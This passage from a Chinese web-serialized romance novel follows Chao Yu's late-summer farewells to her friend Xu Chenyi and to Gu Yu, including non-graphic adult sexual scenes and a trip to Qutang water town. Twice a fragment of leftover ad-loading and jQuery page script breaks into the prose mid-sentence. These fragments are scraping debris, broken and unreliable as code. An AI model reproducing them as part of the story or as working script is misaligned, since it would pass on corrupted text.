冷白的月光扑了她满身,化成个模糊笑脸的娃娃头甚至有些可笑。 晁雨红肿着眼,学着娃娃头挑了挑唇角,发现唇角坠了一吨心事似的,沉得吓人。 她又抬手揉了揉——原来一个人连笑都不会假装,是这种感觉。 从前觉得“心疼”是种浮夸描述,直到现在才明白那是个形容词,每吸一口气,心脏一抽一抽地疼。 她咬着剩的那半根娃娃头过马路,黏糊的奶油糊在嗓子眼,吞不下,吐不出。 怎么会呢。 这种剧烈的、几乎倾袭了她的感觉。 晁雨明明很清楚自己是个什么样的人。 一个一心求稳的人。 一个脚踏实地的人。 一个二十六岁被大城市淘汰、滚回了家乡、内心再没任何不切实际期待的人。 她明明早知道。 这个夏天过去,她该对辜屿放手。 她回家冲了很久的淋浴,水开到最烫,冲得浑身发红。 这样她裹着浴巾出来,手指揩掉盥洗镜的水蒸汽,镜中露出她一双红肿的眼。 她可以告诉自己:这是水汽熏的。 再多的情绪,也会像夜晚的水汽一样,晨光一照,烟消云散。 毕竟生活是现实的。 而情绪是一时的。 第二天晁雨起床的时候,看到许辰懿坐在天井里拆包裹。 听见晁雨脚步,抬头冲她笑笑:“早啊姐们儿。” 晁雨问:“买的什么?” 许辰懿:“给你爸妈随便买了点东西,毕竟我也住这么久了不是?” 许辰懿买了特别、特别多。 电动按摩器,艾灸宝,围巾,手套,冬天的夏天的,用得上的用不上的,晁雨想到过的没想到过的,她通通买了个遍。 晁雨蹲在她面前,抱着膝盖看她拆包裹:“这得花多少钱啊?” 许辰懿豪迈地一拍胸脯:“你这可是抱上姐们儿的金大腿了!” 甚至拆包裹的那个小刀也是许辰懿新买的,她低头又去拆包裹的时候,刀尖太锋利,倏地一下划破了她指尖,血滴一下子涌出来。 晁雨跑过去,拿了创可贴给她贴上。 许辰懿皱着眉笑:“没事没事。” 晁雨有一种感觉。 洵州其实很无聊,许辰懿在这里住了这么久,除了因为晁雨,还因为晁雨的这个家。 许辰懿从来没拥有过这样的一个家,也没拥有过这样的爸爸妈妈。 晁雨觉得,许辰懿好像把想象里想给爸妈买的东西,给她的爸爸妈妈都买了一遍。 大手大脚,不计成本。 回家吃晚饭的时候,葛洁跟许辰懿说:“我给你装了点干货,还有小咸菜。” “干货么你随便找个地方扔着就好,小咸菜要放冰箱里,挑的时候一定用干净筷子哦,不然容易生霉的。” 许辰懿笑得明丽:“谢谢阿姨。” 等葛洁去给晁正声送饭以后,许辰懿问晁雨:“你妈要是知道我把她的宝贝儿子给睡了,还能给我装这么多咸菜么?” 晁雨一掌拍在许辰懿胳膊上,许辰懿龇牙咧嘴地笑,举起自己裹着创可贴的手指喊:“不许动手!我可是伤员。” 晁雨了解许辰懿这个人。 越是心里感慨,表面上越要装得无所谓似的。 许辰懿要走了,比辜屿还要早两天。 两人嬉闹着往楼梯上走,月光明亮,时光悠缓,本来这个夏天,长得像永远不会终结。 晁雨顺着二楼的木连廊,遥遥往走廊另头的客房看了眼,许辰懿的行李箱已收拾好了,奢牌老花,靠墙放着。 晁雨抿抿唇,和许辰懿一起回了房。 她继续琢磨她的设计图,许辰懿靠她床头拍着自己的肚子:“嗝儿,我今晚上好像吃多了。” 过了会儿,许辰懿叫:“小雨。” 晁雨回头。 许辰懿顿了半天,然后说了个:“靠。” 手指卷着自己妩媚的长卷发:“我本想来点抒情的,怎么着姐们儿也算舌灿莲花啊,怎么突然没词了。” 两人又笑作一团。 晁雨叮嘱她:“少喝点酒。” 许辰懿则说:“别再遇上人渣。” 晁雨:“升官发财。” 许辰懿:“你……你就保着你那两千五的月薪别再往下掉吧,以后想买什么,姐们儿给你买。” 本来是嘻嘻哈哈的说辞,不知为什么,晁雨莫名的有点眼热。 这时楼下有人喊:“许辰懿。” 许辰懿和晁雨对视一眼,走出房间去。 晁二柱站在天井里,正仰头往楼上看着。 许辰懿小小地嘀咕一声:“出息了啊,敢叫姐姐大名了。” 晁雨趴在木栏杆上,往天井里望,想起晁二柱在饭桌边说的那句:“不能继续混日子了。” 月光落了他满身,连同被夜风吹落的桂花芽。这是晁雨第一次真正意义上觉得,她这倒霉弟弟,好像真的长大了。 晁二柱叫:“许辰懿,你下来。” 许辰懿怔了下。 小声嘀咕了句:“干嘛,离别炮啊。” 晁雨用胳膊肘捅了她下。 她揉着自己的胳膊对晁雨笑:“那我去了啊,睡一次,就拜拜,没什么好拖泥带水的。你别瞪我!” 晁雨心情复杂地说:“去吧。” 许辰懿蹬蹬蹬下楼去了,跟晁二柱一起,进了晁二柱卧室。 这,晁雨就没法继续在老宅里待了。 万一听到什么不该听的呢? 葛洁和晁正声还没收摊回来,晁雨一个人踱出小院。不知为何昨晚站在毛家小院的葡萄藤边哭过那一场后,她觉得是快入秋了,月光寒凉得惊人。 于是在吊带家居裙外,套了件宽大的白衬衫。 走出老宅外她愣了愣。 辜屿还是一如往昔,站在马路对面的交通标志灯下,变换的光影映亮他沉淡的脸。 晁雨本想拔脚回家去,但不知怎的,辜屿的目光投过来,并没有回避。 于是双脚带着晁雨向他那边走去。 双手背在身后,这个姿势有俏皮到显得轻松一点吗?晁雨已分不清了。她只知道自己只能以这样的姿势出现在辜屿面前,双手背在身后,指甲尖狠狠抠着自己的手指,像是要摁下许多的情绪。 她想冲辜屿笑一笑,但不知怎地,当嘴角开始往上挑时,眼眶忽如昨夜,灼痛得厉害。 该死。 明明谁都没发现她哭过。成年人有多会伪装呢,就算心里再难过,仍会记得在冰箱里藏一只勺子,冰敷过双眼再睡觉。 可这时,忽而灼痛的眼眶出卖了她,让她笑得有些艰难。 辜屿:“不想笑就不要笑了。” 晁雨想脱口而出的一句话是——那么你呢? 那么你又为什么要笑? 她终究还是冲辜屿挑了挑唇。 或许到这里,她就该转身回家去了,辜屿在洵州剩下的两天,他不见,她回避,让这个盛夏在一场得体的、浅淡的、掩藏了真实情绪的笑意里,划上句号。 这才是成年人之间的告别。 可她没有转身。辜屿往毛家小院里走去,晁雨跟在他身后,两人之间好像存在某种默契般,像他们在这个夏天的无数个夜晚那样。 辜屿领晁雨走进他卧室,锁上门。 晁雨满脑子都是许辰懿那句——“睡一次,就拜拜,没什么好拖泥带水的。” 原来说出这种话的人,内心都在拖泥带水。 那是情感的泥沼,变作浓稠的墨迹,挥笔涂在心脏上,最后一个笔画长长不肯收尾,拖到“再见”两个字几乎不成形的地步。 晁雨倚在辜屿的书桌边,半低着头。 辜屿并没叫她去床上,走过来,站在她面前。 抬手把她衬衫衣领往下拨了拨,但只到露出她的雪颈为止。辜屿把头埋进她的颈窝,晁雨肩一滞。 辜屿并没有哭,灼烫的并非什么象征离别的眼泪,而是他双唇,温柔地、轻柔地吻着晁雨颈脉。 那淡青色的颈脉轻跳着,直通心脏。 晁雨在一阵小臂毛孔战栗的舒张中,下意识阖眼,心里忽然想: 如果我不是快二十七岁。 而是十七岁,就好了。 十七岁的她,还没经过生活的搓磨,还没踩过后来那么多的坑。如果是十七岁的她,喜欢上二十二岁的辜屿,结果会不会不一样? 她会不会勇敢得多? 可即便这样想着,又如何呢。她到底已经快二十七岁了,理性、现实背后藏的是计较、怯懦。 她不想再受伤。 而这甚至不算是错,只是那么那么令人难过。 辜屿在她颈间 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 吻得越温柔,她越难过。 她胸口剧烈起伏着,喘不过气一般,伸手摸索向辜屿的腰际,手往下探。 辜屿肩往前一缩,擒住她手腕。 辜屿到底年轻,身体的反应在她手中来得很快。她胸口的起伏变作另一种意味,看着辜屿垂沉的双眼说:“睡一次,就……” 她无法像许辰懿那样故作轻佻地说“拜拜”。 甚至更郑重的“再见”二字她也说不出口。 但辜屿显然明白了她的意思,挑起唇角,笑了。 晁雨轻而喃喃地说:“不要笑。” 她抬起另一只手,捂住辜屿的唇。明明只看那双漆黑双瞳的话,一点笑意都没有。 辜屿不再说什么,搂着晁雨的纤腰,把她抱坐到书桌边缘。 他去床头柜抽屉里摸过什么,交到晁雨手里:“你帮我。” 晁雨不说话,低头捏着手里扁扁的一片。 原来许辰懿说那句——“睡一次,就拜拜,没什么好拖泥带水的。” 背后残酷的真相是,还能怎样拖泥带水呢? 能说的话都已说尽了。 剩下不能说的,就永远不会再说出口了。 只剩最本能的纠缠。 他们激烈地吻着,辜屿的攻势也凌厉。晁雨一手勾着他的后颈,微仰着下巴,另一手不得不摁在书桌上。 桌面上象征理性和禁欲的那本棋谱,随两人的纠缠掉落在地。 窗边所挂藏蓝色的窗帘够厚么,晁雨甚至不确定两人晃动的身形会不会透过去,万一毛秀珍起夜看到怎么办?可显然没人顾得上这些。 他们只想把自己尽数交付,像以后再也没有这样的机会一样。 直到激烈终结,辜屿帮晁雨清理,两人背过身各自穿衣。 晁雨回眸,偷看了眼辜屿的背影。 辜屿头深埋着,正在套上长裤,脊背那般削薄,透出凌厉的蝴蝶骨。 晁雨的心又狠狠一抽,似筋挛。 为什么偏偏有人,看脸那样沉淡冷漠,偏偏身形背影透出孤独。 这时晁雨的手机响。 晁雨看了眼,匀了匀自己的呼吸,接起:“喂。” 这节骨眼上要不是她亲姐们儿许辰懿打来,她一定不接。 许辰懿说:“晁雨,你下来。” 下哪儿? 晁雨的身体和情绪都仍有余韵,怔了两秒,才反应过来许辰懿以为她在卧室,这个“下来”的意思,应该是让她去晁二柱的房间。 晁雨问:“怎么了?” 许辰懿:“你来,立刻,马上。”说完把电话挂了。 晁雨跟辜屿说,低低地:“那我先走了。” 令晁雨没想到的是,辜屿跟她一起去了。 卧室里太安静,许辰懿刚才那不太寻常的语调,也被辜屿听在耳里。 辜屿什么都没说,只是沉默跟在晁雨身后,两人一前一后过了马路。 晁雨敲了敲晁二柱房间的门。 晁二柱闷闷一声:“进来。” 晁雨推开门。 许辰懿坐在晁二柱的床边,手里拿着根棒棒糖,时不时嘬一口。 晁二柱勾腰坐在书桌边,两边手肘架在分开的两条腿上。他的房间和辜屿迥然不同,堆满了篮球T恤杂志,这显然还是为许辰懿特意收拾过的。 其实这时分外尴尬。 四人或坐或站,四目相对的一瞬,都看出彼此刚刚经历过一番云雨。 但屋里的气氛太怪了,怪得让人忽视了这份尴尬。 许辰懿就那样坐在晁二柱的床边,嘬着棒棒糖,脸上神情要笑不笑,二郎腿架在一边膝上,脚尖勾着她那奢牌的高跟鞋。 她晃着棒棒糖对晁雨解释:“姐们儿本想来根事后烟,但我不抽烟,就在你弟的零食堆里翻了根棒棒糖。” 晁雨问:“出什么事了?” 许辰懿对着晁二柱扬扬下巴:“你问他。” 晁雨看着晁二柱。 她弟这张傻脸,永远都是有什么都往脸上写。或许这是第一次,晁雨没看懂她弟脸上的神情。 晁二柱仍埋着头,不说话。 许辰懿轻轻哂一声,自己开口:“小雨,你弟他跟我表白了,说要我带他一起去北京,要和我永远在一起。” 许辰懿妩色的面庞上,露出刻意强化的嘲讽:“果然还是个会吃棒棒糖的小孩儿啊。” “你说他是不是疯了?” 51. 第七件小事02 许辰懿带着那股嘲意说:“他还送了我一份礼物。” 纤长的手举到半空,半攥的拳松开来。 一个银色的圆环挂在她食指上,从她掌心里露出来的,是一颗雨花石的钥匙扣。 所谓雨花石,是曲塘水镇的一种特产。沿着溪水上游被冲到曲塘,石头被经年的雨水溪流冲刷,形成了各种抽象的图形花纹,看上去别有意趣。 曲塘的小贩们就去溪边捡漂亮的雨花石,做成钥匙扣,卖给游人。 许辰懿半笑着道:“这是你弟送我的,因为我们去逛曲塘水镇的时候,我说过一句,我从小到大,从没拥有过这些小玩意儿。” “小雨,你要不要告诉你弟,我到底是个什么样的人?”许辰懿偏头嘬着棒棒糖,看着晁雨。 晁雨不讲话。 许辰懿点点头:“好,你不说,那我自己说。” 她从一字裙口袋里摸出张名片,递给晁二柱:“拿着吧,看看上面的字。我就是一个这样的人,连离别炮的时候都带着名片,因为我不知道什么时候就会遇到潜在客户,这要是刚刚客户给我打个电话说来洵州了,我做了一半能立马踹开你去见我客户。” 她又扬扬下巴,示意晁二柱去看名片:“许辰懿,CiciHsu,亚轩建筑设计集团市场一部客户经理。” “我一个大学本科生,在无数国外留学研究生的亚轩,花四年的时间做到客户经理,说明什么?” 许辰懿笑得明艳又绮旖:“说明我不择手段,除了爬客户和老板的床,我什么都干过。” “你可以问问你姐,有次亚轩设计的歌剧院施工,有个工人在家突发心脏病,人没了,要亚轩赔两百万。那工人本来就有心脏病,亚轩不想赔钱,我领导跟我说,你去搞定这事,我升你一级。” “我怎么干的?”许辰懿越笑越明艳:“我当然是找了个律师,把这件事给摆平了,亚轩一分钱没赔。” “其实我去那工人家里看过,是不宽裕,剩下他老婆带着三个未成年的孩子,可我同情他,谁同情我啊?” “我一个酒鬼老爸,和我两个妹妹在东北一个小县城,我随时都要提防着他不知哪天喝醉酒把我妹给打死,或者把人脑袋给砸了进监狱影响我妹的前途。我不仅要钱,我还要权,我只能费尽心思的往上爬,不然过去的生活就会追上我,把我吞得连骨头渣子都不剩。” 许辰懿晃晃手里银色的小钥匙扣。 那是一颗很漂亮的雨花石。淡淡的花青色,上面抽象的图案如云似雾,挂在许辰懿做了透明色美甲护理的手指上,交相辉映。 许辰懿问晁二柱:“你觉得我这样的人,真想要这样的小玩意儿么?你甩给我一个1:10配货的爱马仕铂金包我还多看你一眼。” 她这话说得重。 晁二柱抿住了唇角。 “弟弟。”许辰懿没心软,看着晁二柱继续说:“我就是一个这样的人,别说是我配不上你,还是你配不上我,总之咱俩就是道不同不相为谋。” “今天我把你姐叫来,把这些话清清楚楚地说给你听,让你姐做个见证。” 晁雨心里说不上什么滋味。 她回了一下头,看辜屿倚在晁二柱卧室的门框上,淡淡听着这一切。 许辰懿站起来,走到晁二柱面前,对他摊开一只手:“给我。” 晁二柱看着她。 她说:“手机。” 晁二柱把手机递她。 她又说:“密码。” 晁二柱:“你生日。” 许辰懿勾唇笑了笑,解锁手机,删了自己的微信:“我明天就走了,你好好去上你的学、实你的习,别再想着这档子事了。” 她叫晁雨:“走吧。” 踩着高跟鞋,风风火火、旖旎多姿地往门外走去。 就像她自己说的那样——睡一次,就拜拜,没什么好拖泥带水的。 晁雨跟着她。 她却回头笑道:“让我一个人待会儿。” 晁雨心尖一酸。 她了解许辰懿这个人,嘴巴有多毒,心就有多软,一个看《海绵宝宝》都会痛哭流涕的人。 又或者说,许辰懿的心有多软,就决定了许辰懿的嘴有多毒。 她一点念想也不愿给晁二柱留下。 晁雨站在天井里那棵桂树下,看着许辰懿一个人踏上楼梯、往二楼客房里走去。 辜屿站在晁雨身后。 晁雨回头看着他。夜风拂得花芽落了他们满肩,这意味着,这个夏天真的要过去了。 刚才许辰懿的那些话,晁雨听得清清楚楚,她知道辜屿也听得清清楚楚。 她明白,这番话许辰懿不仅是说给晁二柱听的,也是说给她和辜屿听的。 许辰懿就是个这么清醒的人。 晁雨重情、心软,辜屿冷漠、寡情。睡可以,但许辰懿打心眼里不想晁雨找一个辜屿这样的男人谈恋爱,那太难了,也太累了。 到最后十有八九,晁雨比遇上明恒宇这种老贱人伤得还重,因为这次是真的动了情。 这道理晁雨懂,许辰懿比晁雨更懂。 她生怕晁雨心软,宁肯往自己伤口上捅刀子,话里话外的也要再敲打晁雨几句。 辜屿什么也没说,走过来,拂了拂晁雨肩头的花芽,只是问:“你还有什么想做的吗?” 既然两人都对结果已心知肚明。 却谁都说不出那句“再见”。 就把所有能做的想做的还没做的事,一起做尽吧。 晁雨咧嘴笑了笑:“辜屿。” “我想跟你一起去曲塘水镇。” - 第二天一早,许辰懿出发去火车站。 葛洁特意没出摊,留在家里送她,叫晁二柱:“你开车送你辰辰姐过去。” 许辰懿笑道:“不用了,我叫了车,专车,挺贵的那种。” 晁二柱捏着车钥匙的手顿在原地。 葛洁不知道他们之间的这些龃龉,点点头:“那也行,叫了车就别浪费。” 许辰懿扭头指着晁雨:“不许送啊,送的话以后当不了姐们儿了。” 好像人长大了都是这样。 平时装得刀枪不入,面对离别的时刻,总显得手足无措。 许辰懿从奢品包里掏出个信封,递给晁雨:“本来你生日都快到了,但我实在请不出年假了,不能陪你过生日,礼物先给你。” 晁雨接过看了眼,靠。 厚厚一沓全是现金。 晁雨有点急:“你干嘛呀你?” 许辰懿咧嘴笑道:“给别的都是虚的,就这个最实在。” 她转回身拖过行李箱,背影冲着晁雨摆摆手:“真走了,你跟上来我跟你急啊。” 晁雨攥着那个超厚的信封,手指掐进牛皮纹的褶皱里。 她站在天井的桂花树下看着许辰懿的背影,第一次觉得刀枪不入的许辰懿,原来背影那么薄。 很多年前,许辰懿就是这样一个人拖着行李箱、离开了那个灰扑扑的小县城。 她从没体会过家的温暖,所以把所有想象中能买给爸妈的东西,一股脑买给了晁雨的爸妈。 她说:“谈恋爱的话,别找像我这样的人,我经常会有阴暗的念头冒出来。” 晁雨觉得很多话想说,却和初秋的飘絮一样堵在嗓子眼。 是葛洁走上前来,一手搭着晁雨的肩,冲许辰懿的背影喊了声:“辰辰。” 许辰懿回头。 “过年的时候再来呀。”葛洁揽着晁雨道:“叫你妹妹一起。” 许辰懿微怔了下,快速地低下头去,再抬起的时候,笑得灿烂明媚:“再说吧。” 她不再犹豫,一鼓作气把行李箱搬上早已停在院门口的专车,上车后好像敲了敲司机椅背催促他快开车似的,那辆商务奔驰很快从院门口消失了。 晁二柱还拿着车钥匙站在原地。 倒是晁雨匆匆回头,嘴里嘟囔了句“干嘛呀这是”,快步往楼上自己房间走去。 葛洁上楼的时候,看见晁雨抱着个枕头,虾米一样蜷在床上。 葛洁走过去坐在床畔,拍了拍她的腰:“干嘛?难受了,哭了?” 晁雨夹着枕头:“哭不出来。” 葛洁:“我跟你说句话,保准你能哭得出来。” “什么?” “你上班要迟到了。” 晁雨愣了愣,一骨碌从床上弹起来,立马就开始换衣服。 葛洁坐在床畔看着她笑:“你这孩子从小心就软,不擅长告别,记得以前毛奶奶捡的那只小土狗生病死了,你哭了能有一个月。” 晁雨扣衬衫扣子的手顿了下。 嘴里跟葛洁贫道:“心软不好吗?” “不好呀,女孩子要跟桃子一样,外表看上去软乎乎的,心硬一点才好。”葛洁伸手去把床单上的一丝褶皱抚平:“我跟你爸,总归也是要先走的。” 晁雨一下子回过头:“妈,你说什么呢?” 葛洁笑笑,投过她房里拙朴雕花的木窗棱,望着院子里那棵桂树:“还好,还有这房子。无论如何,你都不会只有自己一个人,还有家在这里等着你,就像我们一样。” 晁雨鼻腔酸酸的,随便跟葛洁乱扯两句,冲出门去上班。 晚上,晁雨工作了许久,没了跟许辰懿插科打诨的时间,坐久了只觉得腰酸背痛。下楼溜达时,看到晁正声在天井里浇那棵桂花树。 晁正声没什么别的爱好,就爱侍弄个花花草草。 看到晁雨,冲她笑:“还记得不?” “啥?” “你出生的那天,这棵桂花树开得正好,我想这兆头好啊,祖宗显灵,就想给你取名叫晁桂花。” 晁雨:…… “后来你妈抵死不从,说如果给你上户口的时候写这名字,她就跟我离婚。后来你四岁的时候,我把这事讲给你听,想说要是你喜欢晁桂花这个名字,我就带你去把户口本上的名字改了,结果你嗷一嗓子就哭了,那时候毛奶奶还养鸡呢,震得她院里的鸡都跟你一起叫起来。” 晁雨:…… 她在心里默默地说:妈妈,谢谢你。 晁正声回房睡去了,晁雨一个人在天井里吹了会儿风,转身上楼。 许辰懿有气无力地打来视频:“你能想象我今晚还被抓回公司加了个班么,本想着明天周末还能休整下,得,已经跟客户约满了。你看看姐们儿是不是比在洵州时老了五岁。” 说着打了个呵欠:“来,讲讲你在洵州的悠闲生活,再刺激刺激我,以毒攻毒。” 晁雨:“别提了。” 她就把晁正声想给她取名叫“晁桂花”的事讲了。 许辰懿笑得差点没一头栽倒在床上。 晁雨指尖摩挲着棉质的床单,告诉许辰懿:“明天,我和辜屿弟弟说好了去曲塘水镇。” 许辰懿:“为什么?” 为什么? 晁雨自己心里琢磨了下。 大概,大概正如葛洁所说,她是个不擅告别的人。而在这个盛夏的尾巴上,她面临的告别太多了,从马超开始,到许辰懿,再到接下来的辜屿和晁二柱。 这里面的其他人,大多还有再见的机会。 晁雨心里清楚,唯独辜屿,怕是再也没有了。 晁雨驴头不对马嘴地回答许辰懿:“因为曲塘水镇在洵州之外。” 她一路逃,从北京逃回洵州。 又想从洵州逃往曲塘水镇。 她无法面对告别,就想带着辜屿逃往真实生活以外,去一个比洵州更小桥流水、更避世的地方,躲上那么一两天也好。 是不是这样,就不用再去想两天后的告别。 她这么莫名其妙的回答,许辰懿居然好像听懂了。 没再问她为什么,只说:“那姐们儿好好再教你两招。水镇是个好地方啊,毕竟我和你弟在那儿的时候,那叫一干柴烈火,风生水起……” “打住,你赶紧打住!”晁雨赶紧叫停。 她实在不愿意想象她弟的成年人生活,连有一丝联想都不行。 许辰懿意犹未尽地咂了下嘴:“我真得好好教你两招,真的,中国女人不骗中国女人。” 打了半小时视频,晁雨本以为许辰懿会问起晁二柱。比如她走后,晁二柱怎么样了之类的。 但没有。 一句都没有。 第二天,晁雨跟葛洁说她要去水镇。 葛洁挺支持:“好的呀。辰辰走了你不开心哦?去散散心蛮好的。要你弟跟你一起去伐?” 晁雨嫌弃:“不要。” “那你就一个人去哦?” “嗯。”晁雨心虚了下。 葛洁出摊去了,晁雨背着包出门。 没瞧见辜屿,门口停着一辆雪弗兰。 看她出来,车窗降下来,驾驶座上坐着辜屿。 晁雨把包放到后座,自己坐进副驾:“你会开车?” 辜屿瘦长的手指搭在方向盘上:“嗯。” 他望着江南浓金的阳光洒在青石板路上,风拂树冠一摇,那反光就跟着一闪。 原来晁雨以为他不会开车。 他忽然想起从济南回来的那夜,开了整夜的高速。 黑暗中蜿蜒的公路好似没有尽头,偶尔旁边有车经过,远光灯打过来,也是浓金的光线一闪。 晁雨边系安全带边问:“怎么不开我家那辆五菱宏光?” 辜屿:“那车能上高速么?” 晁雨一咧嘴:“我开玩笑的。” 第一次跟辜屿一起出行,找些有的没的来说,以免显得尴尬。 开到曲塘水镇,辜屿去停车。晁雨之前以自己的名义订了两间民宿,想了想,又改成一间。 她去前台登记,老板娘没说什么,嗑着瓜子打着呵欠,扫了两人的身份证就算完事。 水镇没什么好的酒店,和洵州一样,旅游业并不发达,来的大多都是些附近的人。 民宿固然也谈不上高端,小小一间房,两张单人床,乳白色木家具,很有上世纪九十年代的格调。窗口临溪,偶尔有艄公摇着乌篷船经过,在窄窄的溪道里漾起一阵涟漪。 阳光很烈,是让人微微有些眯眼的程度。 晁雨站在窗边往外看,辜屿走进卫生间去洗手。 他走出来的时候,晁雨看一眼他的手。男生洗完手好像都不会擦得很干,修长的手指上沾着微微的水汽。 “你是明天回北京么?” 晁雨这句话一出口,连她自己都愣了下。 明明逃到曲塘水镇来,就是为了不去想这场两人心知肚明的告别不是么。 辜屿的步子顿了下。 又若无其事地继续走过来:“嗯,明天晚上从洵州出发去机场。” 晁雨跟着笑了笑。 其实她很想抬手摸摸自己嘴角,确认下自己是否笑得足够轻盈、足够像辜屿那么云淡风轻。 辜屿站到晁雨旁边,跟晁雨一同隔窗往外看:“现在去哪?” 临近中午了,他们是该出去走走,找个溪边的中餐馆坐下来吃顿饭。 但具体去哪里,晁雨却:“不知道。” 过去八年,她连回洵州的时间都屈指可数,更别提来曲塘。 她又补一句:“随便走走看?” 辜屿:“嗯。” 话是这样说着,两人却谁都没动。 也不知站了多久,晁雨觉得眼都被阳光晃得有些花了。她小小地屏一口气,跟辜屿说:“走吧。” 终于往门口走去。 辜屿跟在她身后。 当她准备开门时,辜屿却伸手越过她的肩,先她一步搭在门把手上。 顺着晁雨刚刚拉开的一道窄缝,反作用力地那么一推,挂着艾草环的木门吱悠一声,关上了。 辜屿返回房内去拉上窗帘,接下来的事便顺理成章。 谁先去洗的澡,忘记了。 怎么给床套上的一次性床品,也忘记了。 晁雨只记得她跨坐在辜屿腰际,辜屿扶着她的两只膝盖,任她把控节奏,任她予取予求。 她哑声跟辜屿说:“叫姐姐……” 她还掌握着这段关系的主动权么? 尽管辜屿说是他放的手。但晁雨心里清楚,是她。是她的怯懦、犹豫,她明明发现了辜屿给她留下的那些入口,可以往辜屿世界的更深处走,她只是假装视而不见。 像一切虚伪圆滑的成年人一样,她只是擅于假装。 晁雨这样想着,对自己不满似的,对辜屿更过分地索要着,也说不上是想让自己更快乐、还是想让自己受折磨。 辜屿显然发现了。 他欺身起来抱住晁雨,不听她的话叫她“姐姐”,而叫她:“晁雨。” 而那样的语调近乎温柔。 晁雨有那么个瞬间泪盈于睫。 辜屿怀抱着晁雨,一手抵着她纤腰,另一手瘦长的手指压在她背后,像把晁雨整个人往他怀里摁。他在往最深处探索,可他动作偏偏比晁雨自己温柔得多。 晁雨面上泛起绯色,眼底泪光未褪,这时又涌出新的生理性眼泪,连带着鼻头发红,连声音也是闷闷的。她不想让辜屿发现,把额抵在辜屿肩上。 辜屿要了多少次呢。直到她说:“不要了……” 辜屿仍没有停下来。 好像又回到了她去找辜屿的那晚。能说的话都说尽了,除了身体的纠缠,他们再没亲近彼此的方法了。 她软成了烂泥般,浑身都脱了力。辜屿不停,她最后一下发狠咬在辜屿的肩头,手指习惯性又去摸索辜屿耳后。 辜屿终于泄了力,停下来。 她靠在辜屿肩头平复呼吸,嘴还半咬着辜屿的肩。 那也是一道伤口。晁雨也说不上自己心里,为什么想给辜屿制造更多伤口。 就好像,辜屿平时把冷淡的面具戴得太好了。晁雨希望他有更多的伤口,像耳后那道近似过敏的痕一样,让更多真实的情绪泄露出来。 可即便他泄露了真实的情绪又如何呢。 晁雨还是接不住。 晁雨终于默默从辜屿的肩头离开,进洗手间清理了一番,和辜屿背对背默默穿好了衣服。 她调出轻松语气:“出去吧,我饿了。” 明明该是吃午饭的。 此时夕阳西斜,都该吃晚饭了。 天边粉紫的夕阳退得只剩个尾巴,两人沿着溪边走,每家饭店都没什么人,老板靠在溪边乘凉,恹恹的样子。 就随便挑了离溪最近的一家。 就算菜不行,至少景色还可以。 一方乌瓦搭出类似凉亭的感 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 觉,晁雨点了鱼和豆腐圆子。 想不到味道还不错,鱼有点咸,豆腐很鲜。 辜屿从来都吃得很少。 吃完两人继续沿着街边溜达。这里的时光和洵州一样慢,晁雨这么多年没来,除了那些饭馆更新换代了一茬,其他没怎么变。 一家酒吧出现在眼前,叫“初遇”,名字是蓝色霓虹灯条折出来的。 晁雨一看这酒吧就满脑门冒黑线。 上、上次就是在这里,许辰懿和她弟喝多了,然后就…… 但她问辜屿:“进去坐坐么?” 辜屿点头。 晁雨不想回房。两人都实在没体力了,可除了身体交缠,现在的他们又还能做些什么呢。 两人一同走进酒吧。 酒单还和以前一样,手写,晁雨点了杯“落日夕阳”,又问辜屿要什么。 辜屿扬了扬下巴,示意她随意。 她便给辜屿点了杯“巴拿马”。 这些名字取的也不知道什么意思,晁雨也懒得问服务员。毕竟很久以前大人们就说,这里不管什么喝起来都一个味儿。 两杯酒送上来,晁雨那杯橘粉,辜屿那杯冰蓝。 晁雨乱七八糟地想:这颜色怎么这么鲜亮啊? 鸡尾酒还能加色素的么? 不一会儿,驻唱歌手登场了。他把很久以前火的一首歌《成都》改了词,把“成都”都改成“曲塘”。 这把烟嗓,怎么说呢,震得晁雨脑浆子都跟着晃。 晁雨把鸡尾酒杯上的纸伞拿下来,戳着送的咸橄榄。瞥到一向八风不动的辜屿,都罕见的皱了眉。 晁雨说:“你不是有耳机么?戴耳机吧。” 辜屿大概常常觉得这世界太吵,唯一的物欲便是收集各种耳机,晁雨就时时看见他塞着耳机听歌。 辜屿也没客气。 从口袋里摸出耳机塞上了。 晁雨继续在这破锣锅嗓子里,用手里的纸伞戳着咸橄榄。等到歌手开始唱《南山南》的时候,她终于蜷起指节敲了敲辜屿面前的桌子。 辜屿正要摘下耳机。 她摁住辜屿的手腕,带着浅笑:“不用摘。” 她笑起的时候双眸弯起来,总是显得很温柔。 辜屿看着她。 接下来的话,晁雨想说,但她并不想让辜屿听到。 她望着辜屿笑道:“你对我笑过了又怎么样呢?” “这个夏天,我甚至还没来得及听你说一声喜欢。” 总有那么多遗憾来不及补全,夏天就要过去了。 她的手摁在辜屿手腕上,退开是慢慢的。 小指、无名指、中指,最后到食指也离开了辜屿清瘦的腕子,她扭头抿着唇去看舞台,再不看辜屿了。 其实她很想咬自己的下嘴皮,但拼命克制着这个坏毛病。 想说的话说不完。再说下去她又要哭了。 真该死。 她明明是一个成熟的现实的只想搞钱的女人,怎么可以为一段夏天的悸动流这么多眼泪。 她把双臂抱在胸前,指尖悄悄用力掐自己手臂,提醒自己:不要哭。 想点网上的段子冷笑话什么的。比如说:世界上最富爱心的人是哆啦A梦,因为它总是向人伸出圆手。 正当她胡乱想着这些时。 辜屿摘下耳机,放到桌上。 晁雨低头看了眼:“你不戴了啊?那借我戴会儿行么?” 驻唱歌手开始唱摇滚了,她脑浆子都快被震出来了。 辜屿没反对,戴上耳机的瞬间晁雨愣了—— 怎、怎么没声音? 她下意识抬眸去看辜屿,辜屿一张沉淡的脸望着舞台。 原来辜屿从来不听音乐。 耳机只像是他用来隔绝世界的一种工具,让别人不要来打扰,他也不想融入这世界。 晁雨在心里骂了句脏话:靠。 那么她刚刚说的那些话,辜屿其实都听到了。 正当晁雨思索着这该如何是好。 啪地一声,停电了。 毕竟曲塘的电路,比洵州更拉垮。 酒吧坐落在犄角旮旯,信号极差,老板怕大家没法扫码付款,又没人带现金,便号召大家:“别走,别走啊,这就给大家点蜡烛。” 服务员提醒:“老板,蜡烛用完了。” 老板:“……” 他又提议:“没音响没关系,我们的驻唱还有木吉他,让他继续给大家献唱。” 晁雨简直惊了:还唱?! 但她的确没法扫码付款,又不好落跑。 